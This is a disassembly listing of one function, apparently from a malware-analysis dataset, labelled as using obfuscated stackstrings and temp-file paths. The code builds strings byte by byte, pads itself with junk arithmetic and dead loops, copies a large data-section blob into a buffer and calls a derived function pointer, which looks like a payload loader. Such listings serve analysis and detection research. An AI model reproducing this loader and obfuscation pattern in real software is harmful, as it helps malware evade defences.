Function at 0x403020
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50692c
mov eax, dword fs:[0]
push eax
mov eax, 0x1254
call fcn.004f8190
mov eax, dword [0x575e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x50], 0x42
mov byte [ebp - 0x4f], 0x6f
mov byte [ebp - 0x4e], 0x46
mov byte [ebp - 0x4d], 0x59
mov byte [ebp - 0x4c], 0x70
mov byte [ebp - 0x4b], 0x35
mov byte [ebp - 0x4a], 0x6d
mov byte [ebp - 0x49], 0x37
mov byte [ebp - 0x48], 0x7a
mov byte [ebp - 0x47], 0x34
mov byte [ebp - 0x46], 0x7a
mov byte [ebp - 0x45], 0x78
mov eax, dword [str.etpoMvXBPP]
mov dword [ebp - 0x68], eax
mov ecx, dword [0x5071cc]
mov dword [ebp - 0x64], ecx
mov edx, dword [0x5071d0]
mov dword [ebp - 0x60], edx
mov eax, dword [0x5071d4]
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x5071d8]
mov dword [ebp - 0x58], ecx
mov dx, word [0x5071dc]
mov word [ebp - 0x54], dx
lea eax, [ebp - 0x10f0]
push eax
push 0
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0xee8]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov eax, dword [str.CDuYgbclre]
mov dword [ebp - 0xb0], eax
mov ecx, dword [0x5071e4]
mov dword [ebp - 0xac], ecx
mov edx, dword [0x5071e8]
mov dword [ebp - 0xa8], edx
mov eax, dword [0x5071ec]
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x5071f0]
mov dword [ebp - 0xa0], ecx
mov dx, word [0x5071f4]
mov word [ebp - 0x9c], dx
lea eax, [ebp - 0xce0]
push eax
push 0
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0xad8]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea ecx, [ebp - 0x1234]
call fcn.004f6a30
mov dword [ebp - 4], 0
mov dword [ebp - 0x1180], 0
jmp 0x403162
mov eax, dword [ebp - 0x1180]
add eax, 1
mov dword [ebp - 0x1180], eax
cmp dword [ebp - 0x1180], 0x67e00
jae 0x403188
mov ecx, dword [ebp - 0x1180]
add ecx, section..data
push ecx
lea ecx, [ebp - 0x1234]
call fcn.004f7ea0
jmp 0x403153
mov dword [ebp - 0x1190], 0x189e
mov dword [ebp - 0x11d0], 0x1701
mov dword [ebp - 0x1158], 0x5b7
mov dword [ebp - 0x1164], 0xc98
mov dword [ebp - 0x118c], 0xcff
mov eax, dword [ebp - 0x11d0]
cdq
mov ecx, 0x6aa
idiv ecx
cdq
idiv dword [ebp - 0x1164]
add eax, 0x1071
sub eax, dword [ebp - 0x1164]
add eax, 0x1aec
mov dword [ebp - 0x1190], eax
mov ecx, 0x596
sub ecx, dword [ebp - 0x1190]
sub ecx, 0x1bb
sub ecx, dword [ebp - 0x11d0]
sub ecx, 0x1d6
mov eax, dword [ebp - 0x1164]
cdq
mov esi, 0xe73
idiv esi
sub ecx, eax
mov eax, dword [ebp - 0x1164]
cdq
mov esi, 0x1b80
idiv esi
add ecx, eax
mov dword [ebp - 0x11d0], ecx
mov ecx, dword [ebp - 0x1190]
add ecx, 0xa27
mov eax, 0x26e4
cdq
idiv dword [ebp - 0x118c]
sub ecx, eax
mov edx, dword [ebp - 0x1158]
lea ecx, [ecx + edx - 0x18ba]
mov eax, 0x5a4
cdq
idiv dword [ebp - 0x1158]
lea edx, [ecx + eax - 0xf3a]
mov dword [ebp - 0x1158], edx
mov ecx, dword [ebp - 0x1164]
add ecx, 0x3cb7
sub ecx, dword [ebp - 0x1158]
mov eax, 0x650
cdq
idiv dword [ebp - 0x118c]
cdq
mov esi, 0x905
idiv esi
add ecx, eax
mov dword [ebp - 0x1164], ecx
mov ecx, dword [ebp - 0x1158]
sub ecx, 0xe63
sub ecx, dword [ebp - 0x1158]
mov eax, 0xf0c
cdq
idiv dword [ebp - 0x1190]
sub ecx, eax
add ecx, 0x2661
mov dword [ebp - 0x118c], ecx
xor ecx, ecx
mov dword [ebp - 0x1228], 0x1c6
mov dword [ebp - 0x1224], ecx
mov dword [ebp - 0x11e4], 0x372
mov eax, dword [ebp - 0x11e4]
cdq
mov ecx, 0xd61
idiv ecx
add eax, 0x1c6c
cdq
mov ecx, eax
add ecx, dword [ebp - 0x1228]
add ecx, 0x13a8
mov eax, dword [ebp - 0x11e4]
cdq
mov esi, 0x1b71
idiv esi
cdq
sub ecx, eax
mov dword [ebp - 0x1244], ecx
xor edx, edx
mov dword [ebp - 0x1254], 0x22a
mov dword [ebp - 0x1250], edx
mov eax, 0x297
mov word [ebp - 0x1160], ax
movsx eax, word [ebp - 0x1160]
cdq
mov ecx, 0x186
idiv ecx
movsx ecx, word [ebp - 0x1160]
cdq
idiv ecx
add eax, 0x253e
movsx edx, word [ebp - 0x1160]
sub eax, edx
add eax, 0x194
cdq
mov dword [ebp - 0x123c], eax
mov dword [ebp - 0x1238], edx
movzx eax, byte [ebp - 0x11d5]
push eax
push str.aoaYGLRmwZ
lea ecx, [ebp - 0x1148]
call fcn.004f5690
mov ecx, eax
call fcn.004f7ac0
push eax
lea ecx, [ebp - 0x113c]
call fcn.004f6900
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x113c]
push ecx
lea edx, [ebp - 0x1234]
push edx
lea eax, [ebp - 0x1260]
push eax
lea ecx, [ebp - 0x11d6]
call fcn.004f6ff0
mov dword [ebp - 0x11f8], eax
mov ecx, dword [ebp - 0x11f8]
mov dword [ebp - 0x11f4], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x11f4]
call fcn.004f79c0
push eax
call fcn.00401840
add esp, 4
mov dword [ebp - 0x1210], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1260]
call fcn.004f6ce0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x113c]
call fcn.004f6cc0
mov byte [ebp - 0x11d7], 0
mov byte [ebp - 0x11d8], 0
mov byte [ebp - 0x11d9], 0
mov byte [ebp - 0x11da], 1
mov byte [ebp - 0x1191], 0
mov byte [ebp - 0x1192], 1
mov byte [ebp - 0x114f], 1
mov byte [ebp - 0x114a], 1
movzx edx, byte [ebp - 0x114f]
test edx, edx
jne 0x40345d
movzx eax, byte [ebp - 0x114a]
test eax, eax
je 0x403504
mov dword [ebp - 0x1188], 0x17c07
mov dword [ebp - 0x11d4], 0
jmp 0x403482
mov ecx, dword [ebp - 0x11d4]
add ecx, 1
mov dword [ebp - 0x11d4], ecx
cmp dword [ebp - 0x11d4], 5
jge 0x4034a9
cmp dword [ebp - 0x1188], 0
jge 0x403498
jmp 0x4034a9
mov edx, dword [ebp - 0x1188]
sub edx, 1
mov dword [ebp - 0x1188], edx
jmp 0x403473
mov dword [ebp - 0x1188], 0x6c59f
mov dword [ebp - 0x11a4], 0
cmp dword [ebp - 0x11a4], 0x38
jge 0x4034ff
movzx eax, byte [ebp - 0x114a]
test eax, eax
je 0x4034dc
movzx ecx, byte [ebp - 0x114a]
test ecx, ecx
jne 0x4034e7
movzx edx, byte [ebp - 0x114f]
test edx, edx
jne 0x4034ee
mov byte [ebp - 0x114a], 0
mov eax, dword [ebp - 0x11a4]
add eax, 1
mov dword [ebp - 0x11a4], eax
jmp 0x4034bd
jmp 0x403c49
mov byte [ebp - 0x1193], 0
mov byte [ebp - 0x1194], 0
mov byte [ebp - 0x1150], 0
mov byte [ebp - 0x114b], 1
movzx ecx, byte [ebp - 0x1150]
test ecx, ecx
je 0x4035e5
movzx edx, byte [ebp - 0x114b]
test edx, edx
je 0x4035e5
mov dword [ebp - 0x1170], 0x13284
mov dword [ebp - 0x11a8], 0
jmp 0x403563
mov eax, dword [ebp - 0x11a8]
add eax, 1
mov dword [ebp - 0x11a8], eax
cmp dword [ebp - 0x11a8], 0x20
jge 0x40358a
cmp dword [ebp - 0x1170], 0
jge 0x403579
jmp 0x40358a
mov ecx, dword [ebp - 0x1170]
sub ecx, 1
mov dword [ebp - 0x1170], ecx
jmp 0x403554
mov dword [ebp - 0x1170], 0x29162
mov dword [ebp - 0x11ac], 0
cmp dword [ebp - 0x11ac], 0x17
jge 0x4035e0
movzx edx, byte [ebp - 0x1150]
test edx, edx
je 0x4035bd
movzx eax, byte [ebp - 0x114b]
test eax, eax
jne 0x4035c8
movzx ecx, byte [ebp - 0x114b]
test ecx, ecx
jne 0x4035cf
mov byte [ebp - 0x114b], 0
mov edx, dword [ebp - 0x11ac]
add edx, 1
mov dword [ebp - 0x11ac], edx
jmp 0x40359e
jmp 0x40398b
mov byte [ebp - 0x1195], 0
mov byte [ebp - 0x1196], 1
mov byte [ebp - 0x1197], 0
mov byte [ebp - 0x1159], 0
mov byte [ebp - 0x115a], 1
mov byte [ebp - 0x114c], 0
mov byte [ebp - 0x1151], 1
movzx eax, byte [ebp - 0x1159]
test eax, eax
jne 0x40364a
movzx ecx, byte [ebp - 0x115a]
test ecx, ecx
jne 0x40364a
movzx edx, byte [ebp - 0x114c]
test edx, edx
je 0x4036f1
movzx eax, byte [ebp - 0x1151]
test eax, eax
je 0x4036f1
mov dword [ebp - 0x1174], 0x16ef1
mov dword [ebp - 0x11b0], 0
jmp 0x40366f
mov ecx, dword [ebp - 0x11b0]
add ecx, 1
mov dword [ebp - 0x11b0], ecx
cmp dword [ebp - 0x11b0], 0x2c
jge 0x403696
cmp dword [ebp - 0x1174], 0
jge 0x403685
jmp 0x403696
mov edx, dword [ebp - 0x1174]
sub edx, 1
mov dword [ebp - 0x1174], edx
jmp 0x403660
mov dword [ebp - 0x1174], 0xa0eba
mov dword [ebp - 0x11b4], 0
cmp dword [ebp - 0x11b4], 0x5c
jge 0x4036ec
movzx eax, byte [ebp - 0x114c]
test eax, eax
je 0x4036c9
movzx ecx, byte [ebp - 0x114c]
test ecx, ecx
jne 0x4036d4
movzx edx, byte [ebp - 0x1151]
test edx, edx
jne 0x4036db
mov byte [ebp - 0x114c], 0
mov eax, dword [ebp - 0x11b4]
add eax, 1
mov dword [ebp - 0x11b4], eax
jmp 0x4036aa
jmp 0x4037a3
mov byte [ebp - 0x20], 0x55
mov byte [ebp - 0x1f], 0x36
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x33
mov byte [ebp - 0x1b], 0x71
mov byte [ebp - 0x1a], 0x6a
mov byte [ebp - 0x19], 0x51
mov byte [ebp - 0x18], 0x58
mov byte [ebp - 0x17], 0x5a
mov byte [ebp - 0x16], 0x67
mov byte [ebp - 0x15], 0x62
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x6c
lea ecx, [ebp - 0x20]
push ecx
call fcn.004fcc40
add esp, 4
mov dword [ebp - 0x11f0], eax
mov edx, dword [ebp - 0x11f0]
push edx
call fcn.004f80c9
add esp, 4
mov dword [ebp - 0x11ec], eax
mov eax, dword [ebp - 0x11ec]
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x116c], 0
jmp 0x40377b
mov ecx, dword [ebp - 0x116c]
add ecx, 1
mov dword [ebp - 0x116c], ecx
cmp dword [ebp - 0x116c], 0xf
jae 0x4037a3
mov edx, 0xf
sub edx, dword [ebp - 0x116c]
mov eax, dword [ebp - 0x11e8]
add eax, dword [ebp - 0x116c]
mov cl, byte [ebp + edx - 0x20]
mov byte [eax], cl
jmp 0x40376c
mov byte [ebp - 0x1198], 1
mov byte [ebp - 0x1199], 1
mov byte [ebp - 0x115b], 1
mov byte [ebp - 0x1152], 1
mov byte [ebp - 0x114d], 1
movzx edx, byte [ebp - 0x115b]
test edx, edx
je 0x40389a
movzx eax, byte [ebp - 0x1152]
test eax, eax
je 0x40389a
movzx ecx, byte [ebp - 0x114d]
test ecx, ecx
je 0x40389a
mov dword [ebp - 0x1178], 0x5916
mov dword [ebp - 0x11b8], 0
jmp 0x403818
mov edx, dword [ebp - 0x11b8]
add edx, 1
mov dword [ebp - 0x11b8], edx
cmp dword [ebp - 0x11b8], 0x20
jge 0x40383f
cmp dword [ebp - 0x1178], 0
jge 0x40382e
jmp 0x40383f
mov eax, dword [ebp - 0x1178]
sub eax, 1
mov dword [ebp - 0x1178], eax
jmp 0x403809
mov dword [ebp - 0x1178], 0x4858
mov dword [ebp - 0x11bc], 0
cmp dword [ebp - 0x11bc], 0x42
jge 0x403895
movzx ecx, byte [ebp - 0x114d]
test ecx, ecx
je 0x403872
movzx edx, byte [ebp - 0x114d]
test edx, edx
jne 0x40387d
movzx eax, byte [ebp - 0x1152]
test eax, eax
jne 0x403884
mov byte [ebp - 0x114d], 0
mov ecx, dword [ebp - 0x11bc]
add ecx, 1
mov dword [ebp - 0x11bc], ecx
jmp 0x403853
jmp 0x40397d
mov byte [ebp - 0x44], 0x38
mov byte [ebp - 0x43], 0x4d
mov byte [ebp - 0x42], 0x7a
mov byte [ebp - 0x41], 0x54
mov byte [ebp - 0x40], 0x33
mov byte [ebp - 0x3f], 0x47
mov byte [ebp - 0x3e], 0x38
mov byte [ebp - 0x3d], 0x4a
mov byte [ebp - 0x3c], 0x6e
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x5a
mov byte [ebp - 0x39], 0x48
mov byte [ebp - 0x38], 0x37
mov byte [ebp - 0x37], 0x47
mov byte [ebp - 0x36], 0x68
mov byte [ebp - 0x35], 0x31
mov byte [ebp - 0x34], 0x62
mov dword [ebp - 0x1214], 0x11
lea ecx, [ebp - 0x119a]
call fcn.004f68f0
push eax
mov edx, dword [ebp - 0x1214]
lea eax, [ebp + edx - 0x44]
push eax
lea ecx, [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x1220]
call fcn.004f5940
lea edx, [ebp - 0x1200]
push edx
lea ecx, [ebp - 0x1220]
call fcn.004f7960
lea eax, [ebp - 0x11fc]
push eax
lea ecx, [ebp - 0x1220]
call fcn.004f7980
push 0
lea ecx, [ebp - 0x1248]
push ecx
lea ecx, [ebp - 0x11fc]
call fcn.004f6e30
mov edx, dword [eax]
push edx
push 2
lea eax, [ebp - 0x1240]
push eax
lea ecx, [ebp - 0x1200]
call fcn.004f6e60
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x124c]
push edx
lea ecx, [ebp - 0x1220]
call fcn.004f7c80
lea ecx, [ebp - 0x1220]
call fcn.004f6d00
mov byte [ebp - 0x119b], 1
mov byte [ebp - 0x119c], 1
mov byte [ebp - 0x119d], 0
mov byte [ebp - 0x114e], 1
mov byte [ebp - 0x1153], 0
movzx eax, byte [ebp - 0x114e]
test eax, eax
jne 0x4039ba
movzx ecx, byte [ebp - 0x1153]
test ecx, ecx
je 0x403a5c
mov dword [ebp - 0x117c], 0x18177
mov dword [ebp - 0x11c0], 0
jmp 0x4039df
mov edx, dword [ebp - 0x11c0]
add edx, 1
mov dword [ebp - 0x11c0], edx
cmp dword [ebp - 0x11c0], 0x1b
jge 0x403a06
cmp dword [ebp - 0x117c], 0
jge 0x4039f5
jmp 0x403a06
mov eax, dword [ebp - 0x117c]
sub eax, 1
mov dword [ebp - 0x117c], eax
jmp 0x4039d0
mov dword [ebp - 0x117c], 0xe45de
mov dword [ebp - 0x11c4], 0
cmp dword [ebp - 0x11c4], 0x23
jge 0x403a5c
movzx ecx, byte [ebp - 0x114e]
test ecx, ecx
je 0x403a39
movzx edx, byte [ebp - 0x114e]
test edx, edx
jne 0x403a44
movzx eax, byte [ebp - 0x114e]
test eax, eax
jne 0x403a4b
mov byte [ebp - 0x1153], 1
mov ecx, dword [ebp - 0x11c4]
add ecx, 1
mov dword [ebp - 0x11c4], ecx
jmp 0x403a1a
mov byte [ebp - 0x11df], 0
mov byte [ebp - 0x11de], 1
mov byte [ebp - 0x11dd], 0
mov byte [ebp - 0x1149], 0
movzx edx, byte [ebp - 0x1149]
test edx, edx
je 0x403b2e
mov dword [ebp - 0x1184], 0x34df
mov dword [ebp - 0x11c8], 0
jmp 0x403aac
mov eax, dword [ebp - 0x11c8]
add eax, 1
mov dword [ebp - 0x11c8], eax
cmp dword [ebp - 0x11c8], 0x30
jge 0x403ad3
cmp dword [ebp - 0x1184], 0
jge 0x403ac2
jmp 0x403ad3
mov ecx, dword [ebp - 0x1184]
sub ecx, 1
mov dword [ebp - 0x1184], ecx
jmp 0x403a9d
mov dword [ebp - 0x1184], 0xbe785
mov dword [ebp - 0x11cc], 0
cmp dword [ebp - 0x11cc], 6
jge 0x403b29
movzx edx, byte [ebp - 0x1149]
test edx, edx
je 0x403b06
movzx eax, byte [ebp - 0x1149]
test eax, eax
jne 0x403b11
movzx ecx, byte [ebp - 0x1149]
test ecx, ecx
jne 0x403b18
mov byte [ebp - 0x1149], 1
mov edx, dword [ebp - 0x11cc]
add edx, 1
mov dword [ebp - 0x11cc], edx
jmp 0x403ae7
jmp 0x403c49
mov byte [ebp - 0x30], 0x4a
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x4a
mov byte [ebp - 0x2d], 0x55
mov byte [ebp - 0x2c], 0x79
mov byte [ebp - 0x2b], 0x54
mov byte [ebp - 0x2a], 0x33
mov byte [ebp - 0x29], 0x7a
mov byte [ebp - 0x28], 0x51
mov byte [ebp - 0x27], 0x76
mov byte [ebp - 0x26], 0x34
mov byte [ebp - 0x25], 0x37
mov byte [ebp - 0x24], 0x42
mov byte [ebp - 0x23], 0x54
mov byte [ebp - 0x22], 0x76
mov byte [ebp - 0x21], 0x31
lea eax, [ebp - 0x30]
push eax
call fcn.004fcc40
add esp, 4
mov dword [ebp - 0x1204], eax
mov ecx, dword [ebp - 0x1204]
push ecx
call fcn.004f80c9
add esp, 4
mov dword [ebp - 0x1208], eax
mov edx, dword [ebp - 0x1208]
mov dword [ebp - 0x120c], edx
mov dword [ebp - 0x1168], 0
jmp 0x403bbc
mov eax, dword [ebp - 0x1168]
add eax, 1
mov dword [ebp - 0x1168], eax
cmp dword [ebp - 0x1168], 0x10
jae 0x403be4
mov ecx, 0x10
sub ecx, dword [ebp - 0x1168]
mov edx, dword [ebp - 0x120c]
add edx, dword [ebp - 0x1168]
mov al, byte [ebp + ecx - 0x30]
mov byte [edx], al
jmp 0x403bad
mov ecx, dword [str.paqjyanUTv]
mov dword [ebp - 0x98], ecx
mov edx, dword [0x507208]
mov dword [ebp - 0x94], edx
mov eax, dword [0x50720c]
mov dword [ebp - 0x90], eax
mov ecx, dword [0x507210]
mov dword [ebp - 0x8c], ecx
mov edx, dword [0x507214]
mov dword [ebp - 0x88], edx
mov ax, word [0x507218]
mov word [ebp - 0x84], ax
lea ecx, [ebp - 0x8d0]
push ecx
push 0
lea edx, [ebp - 0x98]
push edx
lea eax, [ebp - 0x6c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov byte [ebp - 0x11dc], 0
mov byte [ebp - 0x11db], 0
call dword [ebp - 0x1210]
mov dword [ebp - 0x1124], 0x110a0
mov dword [ebp - 0x1120], 0x7e9c
mov dword [ebp - 0x111c], 0x564e
mov dword [ebp - 0x1118], 0x18460
mov dword [ebp - 0x1114], 0x3fd3
mov dword [ebp - 0x1110], 0xc57e
mov dword [ebp - 0x110c], 0x746c
mov dword [ebp - 0x1108], 0x1317c
mov dword [ebp - 0x1104], 0x1572c
mov dword [ebp - 0x1100], 0xd37d
mov dword [ebp - 0x10fc], 0xa02
mov dword [ebp - 0x10f8], 0x17f7a
mov dword [ebp - 0x10f4], 0x104fd
mov ecx, dword [str.ifgwCqktJm]
mov dword [ebp - 0x80], ecx
mov edx, dword [0x507220]
mov dword [ebp - 0x7c], edx
mov eax, dword [0x507224]
mov dword [ebp - 0x78], eax
mov ecx, dword [0x507228]
mov dword [ebp - 0x74], ecx
mov edx, dword [0x50722c]
mov dword [ebp - 0x70], edx
mov ax, word [0x507230]
mov word [ebp - 0x6c], ax
lea ecx, [ebp - 0x4c0]
push ecx
push 0
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x2b8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1234]
call fcn.004f6ce0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f80d2
mov esp, ebp
pop ebp
ret